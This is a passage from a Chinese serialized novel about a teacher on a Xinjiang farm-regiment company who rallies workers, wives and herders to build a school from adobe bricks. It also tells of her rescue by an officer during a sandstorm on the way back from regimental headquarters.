她抬起头,四下望了望。一个骑着马的身影正消失在暮色里。 舒染走过去,拿起其中一把铁锹,柄身光滑趁手。她用力往土里一插,轻松地撬起一大块板结的土坷垃。 第52章 地基沟挖了快十天, 才勉强有了个雏形。盐碱地的土,有砂石的地方很一镐头下去只能刨个白点,有的沙土地又松浮得不成型。 虽然有几个懂点泥瓦活的老职工, 再加上图尔迪和另一个牧民汉子,每天下了工过来抡上几个小时, 但是进度还是慢得让舒染心焦。 因为这段时间,舒染几乎没有什么精力和时间给孩子们上课,课程一点点被耽误下去。 舒染看着那浅坑, 心里明白,照这个速度,等冬天上冻了地基都挖不好。更别提后面还有更耗力气的打土坯。光靠这几个热心肠的人肯定不行。 她揣上笔记本,又去了连部。 马连长正对着张报表发愁, 看见她就揉太阳穴:“舒老师, 又咋了?地基挖不动?我就说嘛……” “连长, 地基能挖, 就是慢。”舒染把本子摊开, 上面是她估算的土方量和需要的人工, “照现在这几个人,一天干俩钟头, 得挖到猴年马月去。我想申请,能不能让连里给来帮忙盖教室的人算点工分?不用多, 一天哪怕一两个工分,也是个意思, 大家干劲也足点。” “工分?”马连长声音拔高了, “哪来的额外工分?生产任务完不成,全连都得扣工分!为你这事,已经算是破例了!” “连长, 这不是为我个人,是为学校。”舒染坚持道,“而且,支部会都原则同意了,总不能光让马儿跑,不给马吃草吧?哪怕不给工分,给张奖状也行啊,年底评劳模、评先进的时候,能算个依据,让大家知道组织记着这份功劳呢?” 马连长嘬着牙花子,没立刻反驳。评先进劳模这个由头,倒是有点吸引力。 这时,门帘一掀,陈远疆拿着个文件走进来,正好听见最后几句。他目光扫过舒染的本子,对马连长开口:“师长上次开会强调,基层连队要重视教育投入,包括必要的人力物力。特殊事项,可以申请折算部分义务工或者奖励工分,额度不大,但有政策依据。” 他话说得平淡,然后把文件递给马连长:“这是师部刚下的关于加强秋冬季思想工作的通知,里面提到了要鼓励各种形式的劳动竞赛和奉献精神,适当给予精神与物质奖励。” 马连长接过文件,低头翻看,眉头依然皱着,但口气松了点:“就算有政策……这额度也有限啊……” 舒染立刻接话:“有一点就行!主要是让大家觉得没白干,组织心里有数!” 马连长看看陈远疆,又看看舒染,最终叹了口气:“行吧行吧,我跟刘书记再碰一下。工分呢,最多一天一个半,还得看具体干了多少活,由负责的人记清楚了。奖状嘛,等教室盖好了,可以考虑给表现突出的发一张。就这样了!” “谢谢连长!谢谢陈干事!”舒染心里一喜,知道这已经是重大进展了。她利落地收起本子,转身出去,脚步都轻快了些。 陈远疆在她出去后,对马连长补充了一句:“施工安全要注意,尤其地基深度和土坯质量,我让机修组过去个人帮忙看看工具。” 马连长挥挥手:“行行行,你看着安排吧。” 舒染没直接回工地,先拐去了供销社。 她用一点零碎粮票和钱,称了两斤硬水果糖,又买了几包香烟。看着柜台里新到的、印着红字的搪瓷缸子,她犹豫了一下,没舍得买。 抱着这点东西,她先去了张桂芬家。张桂芬正在纳鞋底,看见她来,忙起身。 “桂芬嫂子,跟你商量个事。”舒染把糖和烟放在炕桌上,“连里松口了,来帮忙盖教室的,能给算点工分,干得好的还能评奖状。我想请你在家属里面多动员动员,让嫂子们闲了也去搭把手,和和泥、递递东西、烧点水都行,也回家跟自家男人说道说道这好处。我这点东西,给干活的人甜甜嘴、解解乏。” 张桂芬一看那糖和烟,眼睛亮了亮,随即拍着胸脯:“舒老师你放心!这是好事!工分奖状都是实在的!我这就去跟她们说!那帮老娘们儿,听说有这好处,准保积极!自家男人也能使上劲!” 从张桂芬家出来,舒染又去了王翠花和其他几家相熟的家属那里,同样的话又说了一遍。消息很快在家属区传开。 第二天下午,工地上明显热闹了不少。 除了原来的几个男职工和牧民,又多了七八个妇女。有的帮忙用铁锹翻土和泥,有的帮着把挖出来的土运到一边。 王大姐指挥着两个妇女,用三块土坯支起个简易灶,上面坐着一口大锅烧水。 舒染收集来的那些旧农具也派上了用场。 那断把的镐头重新绑了木棍,虽然别扭但也能用;破铁皮桶用来盛水;锈镰刀磨了磨,用来砍断芦苇;那半截麻绳用来拉线定位。虽然都是凑合,但总算不像最开始那样捉襟见肘。 舒染又去了食堂,找到胖师傅,塞给他一小包水果糖和一包烟:“师傅,天热,大家干活辛苦,我想烧点绿豆汤给大家解暑,你看食堂能不能……” 胖师傅掂掂糖,完全没有了第一次见面那样蛮横的样子,脸上笑开了花:“哎呀,舒老师你太客气了!绿豆汤好说!还有点陈年绿豆,我这就给你熬上两大桶!保证熬得沙沙的!” 下午日头最毒的时候,李秀兰带着两个半大小伙子,用扁担抬着两大桶绿豆汤颤巍巍地来了。她额头上都是汗,脸蛋红扑扑的。 “舒老师,绿豆汤来了!胖师傅还给加了一小把糖呢!”李秀兰声音里带着点小兴奋。 “太好了!秀兰,快招呼大家歇会儿,喝口汤!”舒染赶紧迎上去。 干活的人们纷纷围过来,拿着各式各样的碗盅。 舒染给大家分着绿豆汤,又给每个男劳力发了支烟。糖则主要分给了妇女和跑来跑去的小孩子们。 气氛一下子热烈起来。大家喝着甜丝丝、沙糯糯的绿豆汤,抽着烟,说着笑话,疲惫似乎都减轻了不少。 李秀兰没闲着,她拿出那个登记本,凑到每个人跟前:“叔,婶子,你们今天都干了啥,干了多久,跟我说一下,我记下来,好算工分……” 她问得仔细,记得认真。一个戴着眼镜、看起来挺斯文的年轻小伙正好也在旁边喝水,他是连部的文书,叫张建军,被派来帮忙记录土方量。 他看着李秀兰一丝不苟的样子,忍不住搭话:“李秀兰同志,你这记得真仔细。” 李秀兰抬头,脸更红了,“舒老师交代的,不能记错了,亏了大家。” 张建军推推眼镜:“是啊,台账清楚很重要。你这格式可以再优化一下,我帮你画个表格吧,更清楚。”他说着,就拿出自己的本子和铅笔,三两下画了个简单的表格,标注出姓名、工种、工时、备注。 李秀兰凑过去看,眼睛一亮:“哎呀,这样真好!一目了然!张文书你真厉害!” 张建军有点不好意思地笑了:“这没什么,就是顺手。” 舒染和王大姐交换了一个眼神。王大姐低声说:“这小张文书人挺实在,老家山东的,父母都是农民,没那么多弯弯绕。” 舒染点点头,心里有了计较。过后,她特意找了些需要誊写的教学计划、物资清单之类的活儿,以“自己忙不过来,秀兰字好又心细”为由,让李秀兰去连部找张建军对接或者请教格式问题。一来二去,两人接触自然就多了起来。 李秀兰脸上笑容多了,不再是以前那种对着周文彬时怯懦又带着滤镜的崇拜,她现在眼睛里都是某种被认可、被平等对待的明媚。她依旧忙着豆腐坊的活,但一下工就往工地跑,登记、帮忙,有时还会和张建军讨论几句怎么记账更清楚。 周文彬那件事带来的阴影,似乎在忙碌和这种健康的接触中,渐渐淡去了。 地基在增加了人手后,进度快了不少。但接下来的打土坯,才是真正考验力气和耐心的活儿。 打土坯的场子选在了西头涝坝边那块平地上。钱师傅又被舒染请来当总指导。 “土要好土!碱大的不行!得去那边红柳沟底下挖那黄黏土!”钱师傅叉着腰指挥,“水要适量!多了烂,少了散!和泥的时候要把铡碎的麦草节子均匀搅进去!不然干了就裂!” 几个年轻的小伙子被派去挖土挑土。妇女和半大孩子们负责把麦草铡碎。和泥是个力气技术活,由钱师傅带着两个老职工干。 土坯模子是木头做的,像个没底的长方形盒子。需要把和好的湿泥用力摔进去,抹平,再猛地扣出来,一块土坯的雏形就成了。这活需要极大的臂力和巧劲。 最初几天,进度慢得可怜。不是泥和稀了扣不成型,就是干了裂口子。男人们轮番上阵,一天下来腰酸背痛,也打不出多少合格的坯子。晾坯场地上,歪歪扭扭的土坯排得稀稀拉拉。 舒染看着心急,也挽起袖子想上手试试。她用力端起一铁锹泥,摔进模子里,手忙脚乱地抹平,一扣——泥滩了一地,根本不成型。周围的人都笑了起来。 钱师傅摇头:“舒老师,这活不是女人家干的,吃劲得很!” 舒染不服输,又试了几次,不是扣散了就是形状难看。最终她选择放弃,手上身上都沾满了泥点。她笑着说光有热情不行,还得靠经验和力气。 赵卫东偶尔背着手过来溜达一圈,看着那可怜的产出,没再说什么风凉话。反而有一次,看几个男人用的铁锹都快散架了,扭头对跟在后面的马技术员说:“去,把库房里那几把报废的铁锹头,安上结实点的木把,给他们用。磨刀不误砍柴工嘛。” 工具改善了,熟练度也慢慢上来了,打坯的速度终于快了一些。晾坯场上,一排排土坯延伸开去,整整齐齐的。 这几天的天气也很好,连续的烈日暴晒,土坯干得很快。但新的问题又来了——翻坯。 土坯半干的时候需要小心地翻立起来,让侧面也能晒到,这样才能干得透,硬度均匀。这活不算重,但极其繁琐,需要耐心。弯腰,起身,再弯腰,成千上万次。 舒染动员了所有能动员的孩子和妇女。孩子们力气小的,就两人抬一块。妇女们边干边唠家常,倒也热闹。 阿迪力带着巴彦、赛达尔也来了。他们一开始不得要领,手劲没轻没重,摔坏了两块坯。石头赶紧过去教他们:“要轻拿轻放,这样,手托底下……” 阿迪力学得认真,虽然动作笨拙,但再没失手。巴彦和赛达尔也跟着学。牧区的孩子干惯了活,一旦掌握了窍门,效率就上来了。 李秀兰和张建军负责记录晾晒的数量和批次。顺带着干干翻土坯的活。两人一个报数,一个记录,配合默契。张建军偶尔还会帮李秀兰把歪掉的坯子扶正。 许君君也耐不住一个人在卫生室呆着,一闲下来就赶紧背着药箱过来,来来回回地巡视,给磨破手的妇女孩子抹红药水,提醒大家戴草帽注意防晒,熬了淡盐水让大家补充盐分。 整个工地虽然效率缓慢,但总的来说还是在持续地运转着。 舒染看着这一切,心里那根紧绷的弦稍稍松了些。她走到堆放旧料的地方,看着那些油毡和椽子,又看向眼前初具规模的坯场,仿佛已经看到了教室立起来的样子。 傍晚收工时,她特意找到钱师傅:“钱师傅,您看这坯子,还得晒多久才能用?” 钱师傅拿起一块,用手指敲了敲,又掰了掰角落:“嗯,硬度差不多了。再晒个三五天,保险点。接下来,就该准备上梁的大事喽!那才是关键!” 舒染点点头,心里又开始盘算下一步。木材、上梁、砌墙、铺顶……每一关都不好过。 但她看着夕阳下那些忙碌后说笑着散去的人们,心里又充满了干劲。 路还长,但一步一步,总能走下去。 陈远疆的身影偶尔会在极远处出现。有时是骑着马在远处巡逻,有时是静静立在某个土坡上,看着这边忙碌的景象。 他从不过来说话,但工地上总会莫名其妙多出点东西:一小捆新的麻绳,两把锋利的抹泥刀,甚至有一小桶难得的干净油漆,也不知道他用什么理由从哪儿搞来的,桶盖上用粉笔写着“刷门窗”。 最让舒染惊喜的是牧区来的帮助。 图尔迪送来了那几张厚厚的鞣制羊皮,顺带着又带了了好几样工具。阿迪力更是几乎长在了工地上,他力气在娃娃里算大的,又不惜力,挖土和泥抢着干,而且他的汉语水平已经能和连里的人们流畅地交流了。他带来的另一个牧民小伙□□,也是个闷头干活的好手。 这天下午,放学的孩子们都没走,围在工地旁边看热闹。地基沟里已经开始用石块和泥浆砌基础了。钱师傅大声指挥着,男人们喊着号子,把一块块大石头挪到位。 舒染正帮着抬一筐拌好的泥浆,忽然听到一阵马蹄声由远及近。她抬头一看,竟是老阿肯骑着马来了,身后还跟着几个牧区的老人。 老人们下了马,围着工地慢慢走了一圈,看着已经砌出地面一尺高的石头基础,看着旁边码放整齐的土坯,看着那些忙碌的汉族和牧民面孔,互相低声交谈着,点着头。 老阿肯走到舒染面前,花白的胡子动了动:“样子嘛,终于有了。” 舒染用手背擦了下额头的汗,笑了:“您看,这才刚起步呢。等墙砌起来,上了梁,铺了顶子,才像个房子。” 老阿肯沉默了一下,从怀里掏出一个小布包,递给舒染。舒染打开一看,是几块亮晶晶的、带花纹的石头,还有一小卷彩色的毛线。 “压墙角。图个吉利。”老阿肯言简意赅,“毛线,绑梁上。” 这是牧区的祝福和习俗。舒染心里一暖,郑重地收下:“谢谢阿肯!等上梁的时候,一定用上!” 老阿肯没再多说,冲其他几个老人挥挥手,一行人又骑上马走了,就像他们来时一样突然。 舒染收回目光,看着眼前这片喧嚣忙碌的工地。王大姐正吆喝着让大家喝绿豆汤,李秀兰和张建军在低头记账,阿迪力和虎子为了抢一把铁锹笑闹着,钱师傅在骂一个汉子泥浆和的太稀…… 她忽然觉得,这不再仅仅是一间教室了。 它好像把连队的、牧区的、男人的、女人的、甚至孩子们的力量,都一点点吸引过来,然后凝聚在了一起。 她弯腰拿起铁锹,重新插进泥浆堆里,用力搅拌起来。 墙总要一块一块地垒日子,也得一天一天地过。但好在终于不是她一个人了。 * 土坯晾晒得差不多了,舒染心里惦记着上梁需要的木材和铺顶缺的油毡。 光靠从团部仓库淘换来的那点旧料肯定不够。她跟连里打了报告,想再去一趟团部,看看能不能在团部匀一辆马车。因为跑团部的拖拉机也不是每天都能来,而且斗子上还坐着其他人,放建材也不方便。 马连长批条子的时候皱着眉头,走到窗户前看看天气:“舒老师,这老风口的天像娃娃脸说变就变。这季节尤其邪性,你们非得赶这时候去?” “连长,天已经凉了,得上冻前把屋顶铺个大概,不然一冬雨雪,坯墙都得泡酥了。”舒染解释,“我们快去快回,挑天气好的时候走。” 最终,马连长还是批了条子,又叮嘱了一句:“多带两个人,路上有个照应。真要遇上变天,赶紧找地方躲,保人最要紧!” 舒染叫上了图尔迪和另一个经验丰富的牧民大叔叶尔波力,套了一辆连里最结实的马车。许君君塞给她一个小急救包,李秀兰偷偷往她兜里塞了两块干馕。 一路去团部还算顺利。在张干事的再次关照下,舒染和老姜头磨了半天,又用攒下的几张工业券买通了一下,总算又弄到几根粗点的椽子和两大卷用草绳捆着的旧油毡,虽然依旧破旧,但比之前的成色好些。 她还咬牙用这个月的工资称了几斤盐块和一包莫合烟,准备回去给帮忙的牧民和职工们分分。 回程时,天色看着还好。图尔迪和叶尔波力看了看天,觉得问题不大,挥鞭赶车。 马车吱吱呀呀地走在戈壁路上,眼看再绕过前面那个风蚀的雅丹地貌区域,就是老风口地界,过去了离连队就不远了。 突然,叶尔波力猛地勒住了马,侧耳听着什么,脸色骤变:“这风不对!”—— 作者有话说:[元宝]今天更晚了,评论区掉落作者君的歉意~ 第53章 图尔迪也紧张起来, 跳下车抓了一把地上的沙土扬起来,看着沙土飘落的方向,声音发紧:“风转变了!速度快快的!黑风要来了!” 舒染听连队上的人说过, 黑风就是指强沙尘暴。 几乎是同时,天边那一线灰蓝色地平线, 迅速漫延起一种浑浊的黄黑色。 风声变大了,呼呼的风声变得尖厉起来,卷起来较高的砂砾, 砸在人脸上生疼。 “快把车赶到那块大岩石后面!”,叶尔波力经验老到,指着不远处一块巨大的风蚀岩大吼。 图尔迪拼命鞭打马匹,马车颠簸着冲向岩石背风面。 刚停稳, 狂风就裹挟着密集的砂砾劈头盖脸砸下来, 天色迅速暗沉, 能见度骤降, 几步之外就看不清人影。 世界仿佛只剩下风的怒吼和沙石击打岩石、车板的噼啪声。 马匹受惊, 不安地嘶鸣腾跃。图尔迪和叶尔波力拉住缰绳, 用力安抚。 “压住油毡!”舒染喊着,和两人一起用身体压住车上那两大卷的油毡, 生怕它们被风掀走。椽子也用绳子捆着,但也在狂风中剧烈晃动。 风暴越来越猛, 丝毫没有减弱的迹象。气温也在急剧下降。舒染感觉裸露的皮肤像被刀割一样,呼吸都带着沙土的呛人味道。 几乎在天气突变的同一时间, 陈远疆正带着两名战士骑马巡逻在靠近老风口的另一条线上。 他抬头看了一眼天边滚涌而来的黄黑色□□, 变了脸色。 “不好!是强沙尘暴!”他勒住马,“快收紧缰绳,找掩体!” 一名年轻战士有些慌:“陈干事, 这黑风来得太猛了!” 陈远疆看着风来的方向,像是突然想到什么,“畜牧连今天是不是有马车去团部了?” 另一名战士想了想:“好像是,舒老师带了人去拉建材了!” 那条路是通往团部的必经之路。 陈远疆眼神一凝:“这个时间很可能正在返回路上!老风口是必经之地!他们很可能被困住了!走!” 说着他猛地一抖缰绳,迎着风沙冲了出去,方向正是老风口,“注意观察地面车辙和岩石背风处!保持距离,互相照应! 两名战士一惊,立刻打马跟上。三匹马顶着能掀翻人的狂风,艰难地向前冲去。 陈远疆伏低身体,眼睛眯成一条缝,紧紧盯着前方模糊不清的路况,不断规避着风卷来的碎石和枯枝。 这一边的舒染和图尔迪、叶尔波力躲在岩石后,用身体和能找到的所有东西加固着马车上的物资。但风太大了,一块油毡的边缘被狂风撕开,呼啦啦地就要被卷走。 “抓住它!”舒染扑过去抱住那卷油毡。图尔迪也赶紧来帮忙。 舒染几乎要被风带动着的油毡拽离地面。她双脚蹬着地面,身体后仰,用全身的重量对抗着狂风。 图尔迪也想冲过来帮忙,但一阵更猛烈的旋风卷着沙石砸来,逼得他睁不开眼,踉跄着后退,差点被风带倒。 就在这时,那卷油毡因为受力过猛,捆扎的草绳突然崩断,舒染只觉得手上一松,巨大的惯性让她整个人向后摔去。 狂风卷起那散开的油毡,舒染感觉自己快要被风带起来了,身体轻飘飘的。 沙石打得她睁不开眼,呼吸艰难,肺里火辣辣地疼。但她脑子里只有一个念头:不能松手!这是好不容易才弄来的! 就在她感觉力气即将耗尽,手指一点点滑脱的时候,一道身影扑向那卷油毡被风鼓起的部分,利用自身重量和冲力狠狠将其压回地面,同时一条结实的绳索飞快地绕了上来勒紧了油毡。 是陈远疆! 他甚至没多看舒染一眼,用膝盖和另一只手臂压制住油毡,牙齿配合右手,迅速打了个牢固的结。 “躲到岩石最里面去!抓紧固定物!”他朝着图尔迪他们吼道。 紧接着,陈远疆几乎是将舒染半拖半抱地拽到一处坡后面,这里避风效果差很多,但暂时能稳住身体。 舒染惊魂未定地抓住一块凸起的岩石。 两名战士也赶到了,帮着图尔迪和叶尔波力一起固定住受惊的马匹和马车。 “不要命了!”陈远疆在她耳边吼道。 舒染想辩解,一张口却吃进一嘴沙子,呛得直咳嗽。 突然,上方出现了断裂声,一块被风刮断的树干砸落下来。 “小心!”陈远疆反应极快,猛地将舒染往旁边一推,同时自己侧身闪避。但那枯枝来势太猛,末端还是扫过了他的左肩臂。 陈远疆身体晃了一下,脸色白了。 “陈干事!”舒染惊呼。 “没事。”陈远疆的声音依旧稳定,但左臂明显有些僵硬。 他迅速检查了一下情况,“这里不安全,石头太小!跟着我,匍匐前进,去那边那个洼地!” 他指着一个方向,那里有一个被风吹蚀出的浅洼地,相对能避开些风头和落物。 陈远疆率先低姿匍匐出去,右臂用力,左臂似乎使不上劲。 舒染立刻学着他的样子紧跟其后。两名战士和图尔迪他们也看到了,开始艰难地拉着马匹,护着物资向洼地转移。 风沙打得人睁不开眼,呼吸艰难。舒染感觉力气在快速流失。 忽然,一只手抓住了她的手腕。是陈远疆的手,掌心粗糙,带着力量拖着她向前。 终于,所有人有惊无险地转移到了那条更深的风蚀沟里。这里风势果然小了很多,虽然依旧能听到外面鬼哭狼嚎般的风声,但至少人能站稳,沙石也少了很多。 众人都瘫坐在地上,浑身都是沙土,狼狈不堪。 陈远疆靠坐在洼地边缘,右手捂着左肩。 “你受伤了!”舒染爬过去,想检查他的伤势。 “小伤。”陈远疆避开她的手,自己活动了一下左臂,眉头紧锁,显然不是他说的那么轻松,“骨头应该没事,应该是皮肉伤。” 舒染想起许君君给的急救包,慌忙翻出来,拿出绷带和一小瓶红药水,“我帮你包扎一下!” 陈远疆看了她一眼,没拒绝。 他先确认了沟壑的结构相对稳定,快速对两名战士下令:“小赵,你去沟口观察风向变化,老李,你和图尔迪检查马匹和物资捆扎,要确保绝对牢固。我和舒老师在这里简单处理一下伤处。” 陈远疆和舒染暂时在沟壑的一处相对凹陷的拐角。这个凹陷处形成了一个相对独立的空间。 战士们和图尔迪他们立刻应声行动,牵拉着马匹和马车向沟壑另一段移动,忙着加固和检查。 舒染赶紧说:“陈干事,我帮你固定一下。” 陈远疆抬眼看了看她,又瞥了一眼自己的左臂,点了点头。他用牙配合右手扯开左肩部位的衣服,露出红肿淤青、甚至有些破皮的伤处。 舒染看得心惊,也顾不上别的,跪坐在他身旁,用绷带尽量帮他固定和支撑伤处。 她的手指不可避免的碰到他的皮肤和,能感受紧绷的肌肉。她闻到了淡淡皂角的气息。 包扎过程中,难免肢体碰撞。为了转移注意力,舒染低声说:“刚才真是太险了。谢谢你,陈干事。” 陈远疆看着沟壁上方昏黄的天空,声音低沉:“职责所在。”顿了顿,他又补充了一句,像是解释,又像是在陈述事实,“老风口的天,就是这样。看着没事,变天就很危险。” 舒染系好绷带最后一个结,“你对这里真是了解。” 陈远疆沉默了片刻,就在舒染以为他不会回答时,他开了口,语气平淡得像是在说别人的事:“小时候在新疆待过。后来当兵,这类地方也跑得多。” 舒染恍然大悟,轻声说:“所以你才知道该怎么应对。” “吃亏多了,自然就记住了。”陈远疆淡淡道,右手按了按左臂的伤处,似乎不想再继续这个话题。听了听外面的风声,“风小点了。准备一下,尽快回连队。” 他挣扎着想用右手撑地站起来,身形却晃了一下。舒染伸手想去扶他的右臂,被他一个眼神制止了。 “不用。”他自己稳住了身体,依旧站得笔直,“我没事。你去看看其他人准备好了没有。” 舒染的手慢慢收回。她看着他已经恢复冷硬的神色,明白刚才近乎流露真实的时刻已经过去。他再次变回了那个冷静疏离的陈特派员。 “好。”她应声向沟壑另一端走去。 不知过了多久,风势终于渐渐小了下去,虽然依旧扬沙,但已不再具有毁灭性。 物资大部分保住了,只有少量损耗。马匹也安好。众人都松了口气。 陈远疆检查了一下人员和物资情况,下令道:“风小了,但不能大意。收拾一下,立刻回连队!” 风势渐歇,但大地上的一切被一层尘雾笼罩着,能见度不高。 回程的路走得依旧艰难。马车轮子几次陷入被风吹松的沙窝里,需要众人合力推搡才能出来。 快到连队时,天色已经彻底暗了下来。听到动静,连部门口瞬间涌出不少人影,马连长、许君君、王大姐、李秀兰,还有不少担忧的职工家属都等在那里。 “回来了!回来了!”有人喊了起来。 马车驶近,众人都围了上来。看到车上的人虽然个个灰头土脸、像是刚从土里刨出来,但似乎都全须全尾,物资也大致都在,大家这才长长松了口气。 “哎呀我的老天爷!可算回来了!吓死个人了!”王大姐拍着胸口,嗓门亮堂,“这么大的黑风,你们真是命大!” 马连长也走上前,看着这一车狼狈,又看看骑在马上、脸色不佳的陈远疆,眉头紧锁:“老陈,你这……受伤了?” “一点小磕碰,不碍事。”陈远疆地翻身下马,动作间左臂还是有些僵硬,“人没事,东西也基本保住了。” 许君君已经背着药箱挤了过来,一脸焦急:“陈干事,快让我看看!伤哪儿了?”她不由分说就拉着他往卫生室方向走。 陈远疆似乎想拒绝,但看了一眼周围关切的人群,最终还是点了点头,对马连长道:“连长,这里交给你。我先去处理一下。”他又看向那两名跟他一起去救援的战士,“你们也回去休息,今天辛苦了。” “是!”两名战士牵马离开。 陈远疆这才跟着许君君走了。 舒染站在原地,王大姐已经围着她开始絮叨:“染妹子,你可吓死我们了!没事吧?没伤着吧?快回去洗洗,这一身土!” 图尔迪和叶尔波力正在跟马连长汇报情况,描述着风暴的猛烈和陈远疆带人及时赶到救援的经过。 “……要不是陈干事来得快,那些建材肯定保不住,舒老师可能也要被风带跑了……”图尔迪心有余悸。 马连长听着,脸色凝重,最后拍了拍图尔迪的肩膀:“人没事就好,东西都是次要的。感谢你们这次的帮助!” 舒染被王大姐和李秀兰簇拥着往回走。李秀兰小声说:“舒老师,热水我都给你烧好了温着呢,这大晚上的就在屋子里洗洗吧!” 回到地窝子,舒染舀了热水,仔细擦洗着脸上的沙尘和身上的黏腻。 她换好干净衣服,走出地窝子,下意识朝卫生室的方向望了一眼。那里还亮着灯。 王大姐端着一碗热腾腾的姜汤过来:“快,喝了驱驱寒。陈干事那边许卫生员看着呢,你别担心。” 舒染接过碗,有些后怕地说:“大姐,今天多亏了陈干事。” “可不是嘛!”王大姐压低了声音,“别看他平时冷个脸,关键时刻是真顶事!听说他左肩伤得不轻,许卫生员正给他清理伤口里的沙子呢,肯定疼得钻心,他愣是没吭一声。” 舒染默默喝着姜汤,辛辣的味道从喉咙一直暖到胃里。 第二天,舒染照常去上课。工具棚教室也被昨天的风沙光顾了,里面一层细沙。孩子们帮着一起打扫,叽叽喳喳地问着昨天风暴的经历。 课间,舒染看到陈远疆从连部出来,左臂用绷带吊在了胸前,正和马连长说着什么,神情是一贯的冷峻。 他似乎察觉到目光,朝教室这边瞥了一眼。舒染下意识想低头,却来不及了,只能迎上他的目光点头示意。 陈远疆的目光在她脸上停留了一瞬,随即也点了点头,便继续和马连长说话。 下午放学后,舒染犹豫了一下,还是去了卫生室。许君君正在整理药品。 “君君,陈干事的伤怎么样了?” 许君君抬头见是她,叹了口气:“肩胛那边肌肉撕裂,还有些挫伤,万幸骨头没事。沙子清理干净了,但发炎了,有点低烧。我刚给他发了药,让他回去休息,他倒好,又去办公室了!这人真是犟得像头驴!” 舒染心里一紧:“发烧了?严重吗?” “暂时控制住了,但得好好休息,不然好得慢。”许君君无奈道,“我说话他根本不听。染染,要不你帮我劝劝?” 舒染一愣:“我?他怎么会听我的……” “哎呀,你们不是共过患难嘛!”许君君冲她眨眨眼,“反正我是没辙了。这点消炎药,你顺便帮我带给他?就说是我让你送的,叮嘱他按时吃。” 舒染被许君君半推半就地塞了一小包药片,走到了陈远疆办公室门口。里面亮着灯,她敲了敲门。 “进。”里面传来陈远疆的声音。 舒染推门进去。陈远疆正坐在桌前,用一只手翻阅着文件。 看到是她,他眼中闪过一丝微讶:“舒老师?有事?” 舒染把药片放在桌上:“许卫生员让我送来的,叮嘱您按时吃,多休息。”她顿了顿,补充道,“您受伤了,应该多休息。” 陈远疆看了一眼那药片,“嗯”了一声:“知道了。谢谢。”说完便又低头看文件,一副“你可以走了”的样子。 办公室里的气氛有些凝滞。舒染站着没动。 “陈干事,”她清了清嗓子,正式地说:“昨天真的很感谢您。要不是您及时赶到……” 陈远疆抬起头,打断她,语气平淡:“分内之事。换了别人,我也会去。”他目光扫过她,似乎想说什么,最终却只是道,“物资清点完了?损失报给石会计备案。” “已经报过去了。”舒染回答,他果然又回到了那个界限分明的陈特派员。 “那就好。”他低下头,继续看文件,显然不打算再交谈。 舒染知道该走了。“那您记得吃药,多休息。”她说完便离开了办公室。 门轻轻合上。陈远疆的目光从文件上抬起,落在桌角那包药片上,看了许久,才用右手拿过旁边的水杯,就着杯子里的水吞下两片药。 他按了按依旧发烫刺痛的左肩,目光重新投回文件上,迟迟才翻动一页。 窗外,火烧云正盛。远处传来收工的号子和孩子们嬉闹的声音。 舒染走在回地窝子的路上,她加快脚步,心里开始盘算着明天该怎么重新动员人手,趁着天气好,赶紧把盖房子的进度赶上来。 * 风暴过后,连队似乎被注入了一种新的凝聚力。 那场共患难的经历,尤其是陈远疆带伤救援和舒染的坚持,大家都看在眼里。之前对盖教室这事还有些观望甚至嘀咕的人,态度也发生了变化。 第二天一早,舒染还没走到工地,就听见那边已经热闹起来。不止是原先那几位老职工和图尔迪、□□,又多了七八个生面孔,有连里的壮劳力,还有两个闻讯赶来的牧民青年,都是听说了昨天的事,自发来帮忙的。 王大姐带着一群妇女,已经支起了更大的锅灶,正在熬煮一锅冒着热气的糊糊,旁边筐里堆满了各家凑来的杂粮饼子和窝头。 “舒老师来了!”有人喊了一嗓子。 众人纷纷看过来,眼神里多了份亲切。 “舒老师,没事了吧?昨天可吓坏了!” “陈干事怎么样了?伤得重不重?” 大家七嘴八舌地问着。 舒染心里一暖,笑着回应:“我没事,陈干事需要休息几天。谢谢大家来帮忙!今天咱们加把劲,多打些坯子!” 石会计也背着手溜达过来,推推眼镜:“舒老师,连长吩咐了,来帮忙的人的工分,从今天起正式记档!奖状的事,等教室落成,支部开会一定落实!” 这话无疑给众人吃了颗定心丸,干劲更足了。 工地上热火朝天。挖土、挑水、和泥、铡草、打坯、翻坯……工序繁琐,但在钱师傅的指挥和众人的协作下,进行得有条不紊。 牧民的加入带来了不同的经验。 □□对和泥的湿度有独特的判断方法,用手一捏就知道行不行。图尔迪则带着几个牧民青年负责重体力活,挖土挑土又快又稳。 妇女们也不闲着,和泥递水、照顾孩子、准备饭食。 李秀兰依旧负责登记,张建军也常过来帮忙,两人一个念名字工时,一个认真记录,配合越发默契。 舒染穿梭其间,哪里需要就去哪里。她跟着钱师傅学怎么看土坯的成色,跟着妇女们学和泥的比例,有时也帮着李秀兰登记。 她发现,自己那点从上海带来的糖果、香皂,此刻派上了最好的用场,那就是作为对出色劳动的小奖励和情谊的表示。 一块糖给累得满头汗的半大孩子,一小块肥皂给手上沾满泥浆的妇女,换来的是更真诚的态度和更卖力的付出。 陈远疆吊着胳膊出现在工地边缘时,热闹的场面稍微静了一下。 “陈干事,您怎么来了?许卫生员让您多休息!”舒染赶紧跑过去。 “看看进度。”陈远疆目光扫过已经初具规模的坯场和忙碌的人群,最后落在舒染脸上,“看来没问题。” 马连长也跟在一旁,笑道:“陈干事你就放心吧!现在大伙儿心气足着呢!你这伤没好利索就别凑近了,再让灰土呛着。” 陈远疆没说话,只是仔细看了看挖好的地基深度,又走到坯场,拿起几块干透的土坯,用手指敲了敲,掂了掂分量。 “土坯硬度可以。”他对钱师傅说,“上梁的时候,榫卯要扣死,用加筋的泥浆。” 钱师傅连连点头:“晓得晓得,陈干事您放心,规矩我懂!” 陈远疆又对马连长低语了几句,似乎是关于木材加固和防碱处理的问题。马连长点着头,表示会安排。 交代完,陈远疆便转身离开了,但他来过,本身就是一种支持和监督。 日子一天天过去,坯场上的土坯越堆越高,地基也已经夯实,并用石头做了简单的加固。 终于到了选定的上梁日子。这可是大事,连刘书记都从团部开会赶了回来。 一根粗壮笔直的主梁被十几个汉子嘿呦嘿呦地抬过来,上面还贴了红纸,挂上了老阿肯送来的表示吉利的彩绳毛线。 钱师傅指挥着,用绳索将大梁吊起,对准地基上的榫卯位置。 “慢点慢点!左边高一点!好!落!”钱师傅嗓门洪亮。 大梁稳稳落下,严丝合缝。人群中爆发出一阵欢呼。 王大姐赶紧端上一盆刚蒸好的红枣馒头,分给众人吃,寓意日子红火美满。 孩子们兴奋地在周围跑来跑去,阿迪力、巴彦他们也跟在后面,小脸上满是激动和自豪。 接下来是砌墙。 